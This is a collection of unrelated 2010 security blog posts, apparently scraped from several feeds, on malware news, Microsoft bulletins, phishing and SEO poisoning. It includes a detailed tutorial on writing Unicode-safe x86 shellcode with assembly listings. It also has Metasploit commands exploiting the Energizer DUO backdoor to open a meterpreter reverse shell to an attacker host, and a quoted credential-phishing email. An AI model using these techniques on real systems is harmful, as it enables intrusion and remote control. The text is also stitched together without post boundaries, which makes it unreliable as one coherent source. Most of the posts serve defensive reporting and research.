It’s been a while since I’ve talked about Clickjacking, with only a few exceptions here and there. Mostly because I haven’t seen it much in the wild - at least not yet. But there’s still a lot of research out there to be done. I got an interesting email the other day that talked about a way to use parameter pollution (or a mix of URL parameters and POST) to create a condition where you can defeat CSRF tokens:

The technique, found by Lava Kuppan describes a scenario where a mix of CSRF, parameter pollution and Clickjacking can defeat CSRF tokens in JSP and (sometimes) in ASP.NET. It’s worth a read. I did briefly mention using CSRF to pre-populate fields that may be necessary to create a Clickjacking scenario during Jeremiah and my brief talk at the world OWASP in New York. But this takes it to a new level, where you can pre-load information in such a way that it will actually defeat the application logic in the process. Anyway, cool stuff by Lava.

An Estonian virus writer has been sentenced to jail in Harju, Estonia.

The author of the Allaple virus family, 44-year old Mr. Artur Boiko pleaded not guilty.

Nevertheless, he was found guilty and sentenced to 2 years and 7 months in prison.

Allaple is a complex worm using polymorphic encryption. It spreads over network shares and by modifying local HTML files. When such HTML files are uploaded to public websites, they spread the infection further.

Apparently Mr. Boiko had been in a car accident and had ended up in dispute over his insurance claim with If Insurance. As a result, his worm launches DDoS attacks against these sites:

    www.if.ee             (website of the insurance company)
    www.online.if.ee    (customer online interface of the insurance company)
    www.starman.ee    (website of a local ISP)

The DDoS attacks were quite serious — see this post from ISC Diary in 2007.

We detected several variants of Allaple during 2006-2007. The problem is that this is not a botnet — these worms have no command and control channel. The infected machines will attack their targets until they are cleaned. There are still thousands of active, infected computers today around the world, and they are still attacking. And the worm is still spreading further.


Snapshot from F-Secure interface showing new samples on 11th of March 2010

Boiko was sentenced to prison, where he has already been awaiting his trial for 19 months. He was also sentenced to pay the following sums to cover losses:

To If Insurance: 5.1 Million Estonian Kroons (about 330000 Euros or 450000 USD)
To Starman ISP: 1.4 Million Estonian Kroons (about 91000 Euros or 130000 USD)

More info (in Estonian) from ERR Uudised

On 11/03/10 At 11:20 AM

F-Secure has an additional blog that launched today. It's called Safe and Savvy.



You'll notice that the name is pink. That's part of our new brand but it also reflects the authorship. Safe and Savvy's contributors are the female employees of F-Secure (mostly).

Hetta, Marja, Annika, Alia, Melody-Jane, (and Jason) have already gotten started.

Read more of Hetta's latest post to learn about six free months of our Internet Security 2010.

---

On 10/03/10 At 05:29 PM

I wasn't sure I'd see this Browser Choice update:



I set my computer's Regional Options for the United States even though it's physically located in Finland (I'm an American after all).

Regional settings might trump my IP address, I thought… but it seems not. I manually ran Microsoft Update and was provided access to KB976002. Cool.

If you're located outside of Europe and are wondering what's this is all about, read this from the BBC.

Microsoft is offering alternative browser options to European Windows users to settle an anti-trust lawsuit. The update component points users to browserchoice.eu — from where they can select from 12 different web browsers.

On a somewhat not completely unrelated note: Microsoft Security Advisory (981374) was published yesterday.

"Microsoft is investigating new, public reports of a vulnerability in Internet Explorer 6 and Internet Explorer 7."

The vulnerability could allow for remote code execution.

Once again, that browser choice link is browserchoice.eu. Share it with your family and friends.

Signing off,
Sean

---

On 10/03/10 At 05:00 PM

ATM skimmers are installed like this:



Video source: Spiegel.de & German Federal Criminal Office (Bundeskriminalamt)

On 10/03/10 At 12:06 PM

This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem - can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or ”The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register - attempt 1.0
the following opcode:
mov ecx, 0×11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0×11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(”3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh - 00F5 c
mov edx,66006600 - BB00660066.

*GB
add cl,dh - 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0×1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 - BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 - 6A00
pop ecx - 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx - 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0×0000) ; this is not trivial, but easy
*GB
DEC ecx - 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different - let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 - setting the top two bytes.

this time, we’ll try using program memory, specifically - the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact - sifting through the intel reference manual we can see that the set of operands al /ax /eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 - C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 - C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 - 6800330011
*GB
push esp - 54
*GB
pop eax - 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0×11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0×00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this - look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 - attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0×90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0×90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using completely different types of opcodes:
push esp
pop edx

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0×90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening - our very own - Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL - 004500

or this - after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding.

An example simple windows code that copies four nop bytes to [7FFE0300 +0×100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0×90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0×90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this - pushad is compliant.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

Today we are releasing two Important security bulletins addressing eight vulnerabilities in Windows and Microsoft Office. Both bulletins have an aggregate Exploitability Index rating of “1” so we recommend that customers deploy these updates as soon as possible. The Microsoft Exploitability Index provides additional information to help customers prioritize deployment of monthly security bulletins. A summary of today’s security updates can be found on the Microsoft Security Bulletin webpage.

MS10-016 addresses one vulnerability in Windows Movie Maker. Both Windows XP and Windows Vista ship with affected versions (2.1 and 6.0 respectively). Version 2.6 is also vulnerable and can be freely downloaded and installed from the web. Customers who install 2.6 on any supported platform, including Windows 7, will be offered the update. In order to take advantage of the vulnerability, a user would need to open a specially crafted Movie Maker project file. These are files with the .mswmm file extension.

The MS10-016 bulletin also calls out Microsoft Producer 2003 in the affected products list. Producer 2003 is a free download with limited distribution. At this time, we are not offering an update for Producer 2003. Our standard approach is to produce updates that can be deployed automatically for all affected products at the same time but Producer 2003 does not offer a means for automatic update. Based on our investigation, we determined that the best way to protect the vast majority of customers was to release an update addressing the components that shipped with Windows. While we continue to investigate Producer 2003, we recommend that customers either uninstall the application or apply an available Microsoft Fix It to disassociate the project file type from the application to add an extra layer of security.

MS10-017 affects all currently supported versions of Microsoft Office Excel. It also affects Office 2004 and Office 2008 for Mac, the Open XML File Format Converter for Mac, supported versions of Excel viewer and SharePoint 2007. As with most Office vulnerabilities, a user would have to open a specially crafted file in order to be exploited.

Since both of today’s bulletins require user interaction, we give them both a “2” on our deployment priority scale:

Our Severity and Exploitability Index slide offers additional guidance to help customers prioritize this month’s bulletins:

In the following video, Adrian Stone and I give a brief overview of today’s bulletins:

More listening and viewing options: Windows Media Video (WMV) Windows Media Audio (WMA) iPod Video (MP4) MP3 Audio High Quality WMV (2.5 Mbps) Zune Video (WMV)

Today we also re-released MS09-033 to add Virtual Server 2005 to the affected products list. Customers who have already installed the update for affected products do not have any additional actions.

Additionally, we continue to to monitor the threat landscape around Security Advisory 981169 regarding a vulnerability in VBScript that could allow remote code execution. We are not currently aware of any active attacks but encourage customers to review the advisory and apply the suggested workarounds where possible. Customers that are running Windows 7, Windows Server 2008, Windows Server 2008 R2, and Windows Vista are not affected.

Please join us tomorrow for a public webcast where Adrian Stone and I will go in to detail on these bulletins and answer customer questions with the help of the engineers who worked to produce them so please plan to join us.

Date: Wednesday, March 10
Time: 11:00 a.m. PST (UTC -8)
Registration: http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032427711

Thanks!

Jerry Bryant
Sr. Security Communications Manager Lead

*This posting is provided "AS IS" with no warranties, and confers no rights.*

Microsoft schedules its security updates on the second Tuesday of the month. Adobe recently began following this schedule as well, and while there are no Adobe updates today, there was an out-of-cycle security update two weeks ago.

That update should now be applied if you haven't already done so.

Why?

Because we're now seeing the vulnerability (CVE-2010-0188) being exploited in targeted attacks (Microsoft also).

Our sample was submitted by a European financial organization and the file name includes a reference to the G20. The exploit drops a downloader and attempts to make a connection to tiantian.ninth.biz. We detect this attack as Exploit:W32/PDFExploit.G.

It doesn't surprise us to see this Adobe Reader vulnerability utilized so quickly.

Looking through our sample management system, we see a growing number of targeted attack files.

There were 1968 files in 2008. The number was 2195 during the year 2009. That isn't a very large increase in the overall total from 2008 to 2009 but we did see a greater percentage targeting Adobe.

And how about the first two months of 2010?

Well, so far the number is 895, which will more than double last year's number if the current pace continues.

The percentage targeting Adobe Reader continues to rise.

Here's a graph with a breakdown of the most common attack vectors used in targeted (espionage) attacks:



Updated to add: A couple of readers noticed that our graph's 2009 percentages where slightly off — it's been corrected.

On 09/03/10 At 03:30 PM

Hi everyone,

Today we released Security Advisory 981374 addressing a publicly disclosed vulnerability in Internet Explorer 6 and Internet Explorer 7. Internet Explorer 8 is not affected by this issue. Customers using Internet Explorer 6 or 7 should upgrade to Internet Explorer 8 immediately to benefit from the improved security features and defense in depth protections. Additionally, Internet Explorer 5.01 on Windows 2000 is not affected.

 

At this time, we are aware of targeted attacks seeking to exploit this vulnerability against Internet Explorer 6. Internet Explorer Protected Mode in Internet Explorer 7 running on Windows Vista helps to mitigate the impact of this issue. Additionally, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. Please review the Security Advisory for additional workarounds which include modifying the Access Control List (ACL) on iepeers.dll (the affected component), setting the Internet and local Intranet security zones to "high", configuring Internet Explorer to prompt before running Active Scripting, and enabling Data Execution Prevention (DEP) where possible which makes it difficult to successfully exploit the vulnerability.

 

As always, we are investigating this issue and will take appropriate action to protect customers when we have finalized a solution. This may include providing a solution through our monthly security update release process, or an out-of-cycle security update, depending on customer needs.

Anyone believed to have been affected can visit: http://www.microsoft.com/protect/support/default.mspx and should contact the national law enforcement agency in their country. Those in the United States can contact Customer Service and Support at no charge using the PC Safety hotline at 1-866-727-2338 (PCSAFETY).  Additionally, customers in the United States should contact their local FBI office or report their situation at: www.ic3.gov. Customers should follow the guidance in the advisory and our Protect Your PC guidance of enabling a firewall, getting software updates, and installing antivirus software (learn more by visiting the Protect Your PC web site). International customers can find their Regional Customer Service Representative http://support.microsoft.com/common/international.aspx.

We are also working with our Microsoft Active Protections Program (MAPP), the Microsoft Security Response Alliance (MSRA), authorities and other industry partners to help provide broader protections for customers. Together with our partners, we will continue to monitor the threat landscape and will take action against any web sites that seek to exploit this vulnerability.

The Security Advisory will be updated with any new developments so if you are not already subscribed to our comprehensive alerts, please do so in order to be alerted by email when new information is added.

Please review the advisory for additional details and if the situation changes, we will provide an update here on the MSRC blog.

Jerry Bryant
Sr. Security Communications Manager Lead

*This posting is provided "AS IS" with no warranties, and confers no rights.*

A new paper, “Fault-Based Attack of RSA Authentication” (pdf) by Pellegrini et al, is making the rounds. The general idea is that an attacker can disrupt an RSA private key operation to cause an invalid signature to be returned, then use that result to extract the private key. If you’re new to fault injection attacks on RSA, I previously wrote an intro that should help.

The main concept to grasp is that public key crypto is brittle. In the case of RSA’s CRT operation, a single bit error in one multiplication result is enough to fully compromise your private key. We’ve known this since 1997. The solution is simple: validate every signature with the public key before returning it to the caller.

The authors noticed something curious. OpenSSL does verify signatures it generates before returning them, but if it detects a problem, it does not just return an error. It then tries again using a different exponentiation process, and then returns that signature without validating it.

Think about this for a moment. What conditions could cause an RSA private key operation to compute an invalid answer? An innocent possibility is cosmic radiation, bad RAM, etc. In this case, all computations should be considered unreliable and any retried operation should be checked very carefully. The other and more likely possibility is that the system is under attack by someone with physical proximity. In this case, OpenSSL should generate a very obvious log message and the operation should not be retried. If it is, the result should be checked very carefully.

For whatever reason, the OpenSSL programmers decided to retry with fixed-window exponentiation and trust that since there were no published fault attacks for it, they didn’t have to validate its result. This is a foolhardy attitude — not something you want to see in your crypto library. There had been many other fault injection attacks against various components or implementation approaches for RSA, including right-to-left exponentiation. There was no reason to consider left-to-right exponentiation invulnerable to this kind of attack.

Fixed-window exponentiation is a form of sliding window exponentiation. This is just a table-based optimization, where a window (say, 3 bits wide) is moved across the exponent, computing the final result incrementally. While this may be resistant to some timing attacks (but not cache timing or branch prediction attacks), there is nothing that would prevent fault injection attacks.

Indeed, it turns out to be vulnerable. The authors generate a few thousand signatures with single bit-flips in some window of the signature. Then they compare the faulty signatures to a correct signature over the same message. They compute the value for that portion of the private exponent since there are only 2^w possibilities for that location if w is the window size in bits. This is repeated until enough of the private key is known.

The method they used to create the faulty signatures was a bit artificial. They built a SPARC system on an FPGA running Linux and OpenSSL. They then decreased the power supply voltage until multiplies started to fail. Since multiplication logic is a relatively long chain, it is often one of the first things to fail. However, a more interesting hardware result would be to attempt this kind of attack on an actual server because FPGAs work differently than ASICs. It might require careful targeting of the right power pins on the CPU. Since power pins are numerous in modern systems, this may be more effective than only modulating the system power supply.

This was a nice attack but nothing earth-shattering. The only thing I was floored by (yet again), was the willingness of crypto implementers to perform unsafe operations in the face of an almost certain attack. Shame on OpenSSL.

Well another RSA Conference has come and gone. Lots of vendor noise about their product being the only secure one on the market, and other nonsense, as is to be expected. Although I did notice a bit of realism this year. It did seem like everyone had eaten a big helping of humble pie, which was refreshing. Even the sales guys weren’t making as hard as a pitch as I’m accustomed to. So all in all, it was a good time. Lots of drinking, lots of good conversation, and I even managed to sneak in and see Jeremiah’s presentation on the top 10 new webappsec vulns from 2009 (how he managed to fit that all into 50 minutes still boggles the mind). I didn’t make it to as many parties as I would have liked to this year - maybe I’m getting old, or maybe I started drinking too early. Either way…

One notable quote was from Howard Schmidt who said, “There is no cyberwar,” but I don’t think he ever defined what a cyberwar would look like - so I don’t know how we’ve decided we aren’t in the midst of one. Maybe he’s absolutely right and we aren’t in the middle of anything like a war (just the low rumble of espionage), but I’d like to hear his definition one way or another so that I can know when I should start being outraged.

But I wanted to do a quick writeup on the RSA Conference registration computers themselves, while I was thinking about it. For some reason, my entire life, I have just assumed programmers think the same way I do. Then I am always annoyed to find out they don’t. Physical security is tough, don’t get me wrong, but kiosks are one of those things you really need to be careful to protect from physical tampering and logical attacks. Anyway, I was sitting there waiting for one of the pages to load, and it was taking forever. Because there was no onscreen indicator that it was waiting, I started wondering if the form was even working at all, or if there was some dumb JS error or something else that would cause the page to never load. So I clicked on one of the links at the top in the navigation and it gave me a “Diagnose Connection Problems” error and worse yet, it popped out of the Kiosk mode. Never a good sign. It looks like they’re protecting the application from most classes of attacks simply by disallowing outbound network access. Let’s assume there were no way around that for a second (and I’m not convinced of that, incidentally).

Most people would probably say that security is good enough. Any attack I could mount would be useless because I couldn’t exfiltrate the data off of that machine. Oh, but it’s not that simple. For that application to work it must be able to contact the site in question (the registration portal). That portal has access to a database. As such, the database itself is essentially dual-homed (on the Internet and on this Kiosk intranet). So all I should need is some JavaScript malware to steal people’s information as it pretends to register them, and instead log the data into my database fields. I can be somewhere else and check the records in the database for my account, and poof - I have access to whatever data I wanted to log. I can get JavaScript execution by simply typing it into the URL bar and just like magic, I have a way to steal conference registrant’s information. And there’s the cookies and any other tampering I might be able to do in the config options in IE. It’s definitely NOT a huge deal, but rather just another example of how it’s incredibly complex to build a truly secure browser based kiosk system that can defend against determined attackers. No identities were stolen in the making of this post. Now, back to work!

The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included a malicious backdoor in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it went through its entire lifecycle undetected. The good news is that the backdoor is relatively harmless; machines behind the corporate firewall, or those with a local firewall installed, should prevent access to the listener on port 7777. The backdoor makes no outbound connections and uninstalling the USB Charger software package clears the system.

As of this afternoon, you can now use Metasploit to locate infected systems on the local network. After downloading a copy of Metasploit and updating it to revision 8749 or newer, the following commands can be used to scan the local network:

$ msfconsole
msf > use auxiliary/scanner/backdoor/energizer_duo_detect
msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24
msf auxiliary(energizer_duo_detect) > set THREADS 256
msf auxiliary(energizer_duo_detect) > run

[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...

To take things a step further and gain access to a system running this backdoor, use the energizer_duo_payload module:

msf > use exploit/windows/backdoor/energizer_duo_payload
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
msf exploit(energizer_duo_payload) > exploit

[*] Started reverse handler on 192.168.0.228:4444
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)

meterpreter > getuid
Server username: XPDEV\Developer

A copy of the malware can be obtained from the Wayback Machine

As "JiLsi" — one of the online criminals from Darkmarket — was sentenced last week to almost five years in prison, we have received some media queries on the case.

In particular, one journalist wanted to know what JiLsi (aka Renu Subramaniam), Matrix001 (aka Markus Kellerer) and Cha0 (aka Çağatay Evyapan) looked like when they were posting to the Darkmarket forum.

So I went back to my notes and dug up example posts from the guys, complete with their avatar icons. Perhaps these are interesting for our blog readers too.









Cheers,
Mikko

On 08/03/10 At 11:19 AM

Somebody is trying to pose as us. If you see an email like the one below, please ignore it:

     From: security@f-secure.com
     Reply-To: securitysupport@hotxf.com
     Subject: Security Maintenance.F-Secure HTK4S
     Date: Fri, 5 Mar 2010 18:11:05 -0000
     To: undisclosed-recipients:;
     
     Dear Email Subscriber,
     
     Your e-mail account needs to be improved with our new
     F-Secure HTK4S anti-virus/anti-spam 2010-version.
     Fill in the columns below or your account will be
     temporarily excluded from our services.
     
     E-mail Address:
     Password:
     Phone Number:
     
     Please note that your password is encrypted
     with 1024-bit RSA keys for increased security.
     
     Management.
     
     Copyright 2009. All Rights Reserved.

Before you ask: No, we've never heard of "F-Secure HTK4S anti-virus" either.

---

On 05/03/10 At 10:26 PM

Just when we thought SEO using Flash was as interesting as SEO poisoning can get, it seems it's getting even sneakier…

Imagine a PDF file posted by someone evil online. Of course, Google being Google, the file is recognized as a PDF.



And when we open it, it really is a PDF. No evil codes inside, just a good old vanilla PDF file.



Three hours later… Google still says the file is a PDF. Brod (one of our geeky guys here) is attributing this to Google's cache.



But is it really a PDF this time around?



It morphed! And it even has different topics this time. Topics which, when you follow them, will lead you to another PDF:



At least for a few hours before it becomes…



It's a vicious cycle, but a pretty neat trick. Who would suspect a non-malicious PDF file right? At least before it becomes an HTML file. And the end result is a rogue antivirus scam.

Response post by — Christine and Mina

On 05/03/10 At 07:00 AM

We've been seeing a gradual shift in malicious PDF file coding (no surprise there, we know malware authors can and do adapt their techniques).

For a long time, we saw malicious PDF files that were simple enough to allow us to readily decipher the intent of the malicious code — shell code, download/execute, drop and load, et cetera.

Now we're seeing more and more complex obfuscation being used, which requires us to break down the PDF file. This can make an Analyst's daily life more miserable or interesting, especially as the obfuscation can bypass automated analysis tools and even AV detectors.

One technique I've encountered in the last few months uses Adobe-specific JavaScript objects such as getPageNthWord and getPageNumWords. Here's a screenshot of one example:



Note how it uses old-school style spacings. Comments in the notepad were added for easier readability.

Anyway, once this is normalized, it becomes something much easier to read and analyze:



An interesting analysis about PDF obfuscation is also available at SANS.

Response post by — Zimry

On 01/03/10 At 10:11 AM

Another day, another news, and well… another SEO poisoning stint.



Using PDF files in SEO poisoning is recent, but not exactly fresh news. So we were thinking of just adding the malicious URLs to our Browsing Protection and creating detections for the corresponding files… Then, we saw something:



Ok, could be a one time thing, so we checked the other sites:



And in the usual geeky fashion in the lab… we got excited.

When decompressed, the SWF contains this:



Since a lot of websites use SWF, most users have already installed Flash support in their browsers, thereby also enabling support for the malware behavior.

The SWF is of course the key to getting to:







It seems that the bad guys want the malicious URLs to be hidden inside the SWF.

Perhaps it makes them sleep better at night thinking that their sites won't be discovered very soon.

The malicious URLs are now blocked via our Browsing Protection and malicious files are detected.

Response post by — Christine and Mina

On 04/03/10 At 10:06 AM

Remember Microsoft's action against 277 Waledac domains last week? Well, that's one way of going after a botnet…

Another way of shutting down a botnet? Arrest the botmasters!

Three Spanish citizens have been arrested for running the "Mariposa" botnet. The three reportedly have no criminal records and have limited hacking skills. Mariposa is a Butterfly Kit based botnet, and the kit is no longer for sale.

Details are available from the BBC and The Register. Kudos to those involved in the arrests.

On 03/03/10 At 04:43 PM

Criminals like to attack the biggest target because BIGGER generally provides a better Return On Investment (ROI). Windows is a good example. Mac is indeed safer than Windows but it isn't necessarily because Mac is more secure. Windows has a larger market share and that equals more potential victims.

How about search engines? What is the biggest search engine on the block? Google — and the bad guys know it. The result?

It's becoming less and less safe to search via Google.

Yesterday, I was testing Internet Explorer 8 and made a typo in the address bar. Instead of update.microsoft.com I used updates.

There is no such domain, so Microsoft Bing kicked in and I ended up with the following search results:



What? No results?!?

So I searched for updates.microsoft.com with Google.



Did I mean update? Yeah, I guess so… Thanks.

Bing's results seemed sort of odd so I examined the settings and it turned out to be some idiosyncrasy of Finnish based results.

Changing the settings to the United States produced the following:



Better.

I continued testing Bing. Here's a Bing search for microsoft updates:



84,700,000 results.

Here's a Google search for the same:



90,900,00 results.

But how about something timely? Using Google trends, I found a hot search topic.

Minnesota's appliance rebate program has 5m dollars to give its citizens for buying energy efficient appliances, e.g. refrigerators.

The program launched on Monday and its web site was quickly overwhelmed; the event generated many searches.

Here's the Bing search for "mn appliance rebate":



25,300 results.

And Google?



31,300 results.

But here's an important difference — I didn't find any harmful links from Bing's results.

Google, on the other hand, had many bad links. This was the sixth result on the first page:



Clicking the link launched a rogue scam:



And then I was given the typical scan scam crap that is so profitable for the bad guys:



The site pushed this file:



It's now detected as Rogue:W32/FakeAlert.LB.

The folks at Google work hard to filter out harmful search results, but it's a difficult task.

The bad guys are constantly working against Google and they often get past their defenses long enough to infect victims. So what can you do stay safe? Avoid monoculture — try something else.

Because soon enough… Bing just might be the search engine that you want to bring home to your mom.

Google has been around and is simply receiving too much attention from the wrong sorts of guys.

Ask you yourself this: Do you feel lucky?



Signing off,
Sean

---

On 02/03/10 At 04:24 PM

Charlie Miller, the Pwn2Own contest winner for two years in a row, gives his take on Internet security. Guess what — your Mac OS is no less vulnerable than its Microsoft Windows counterpart.

Windows 7 or Snow Leopard, which of these two commercial OS will be harder to hack and why?

Windows 7 is slightly more difficult because it has full ASLR (address space layout randomization) and a smaller attack surface (for example, no Java or Flash by default). Windows used to be much harder because it had full ASLR and DEP (data execution prevention). But recently, a talk at Black Hat DC showed how to get around these protections in a browser in Windows.

No operating system and browser is immune to an attack. And, Flash is the bane of security (well, one of it anyway).

In your opinion, which is the safer combination OS+browser to use?

That's a good question. Chrome or IE8 on Windows 7 with no Flash installed. There probably isn't enough difference between the browsers to get worked up about. The main thing is not to install Flash!

The interview was conducted by Matteo Campofiorito at OneITSecurity. You can read the full version here.

On 02/03/10 At 03:42 AM

Moscone Center, San Francisco, USA is the site of this week's RSA Conference 2010. It's the world's largest information security industry conference with well over 10,000 attendees. For some perspective on just how big it is: there are 19 different tracks of talks going on at the same time given by 556 speakers.

This year we have three talks being presented by fellows of F-Secure:



Mikko has two presentations, "Case m00p" and "Mobile Malware in 2010".

Antti and Kimmo are presenting "Rootkits in the Real World Today".

Browse through RSA's session catalog here.

---

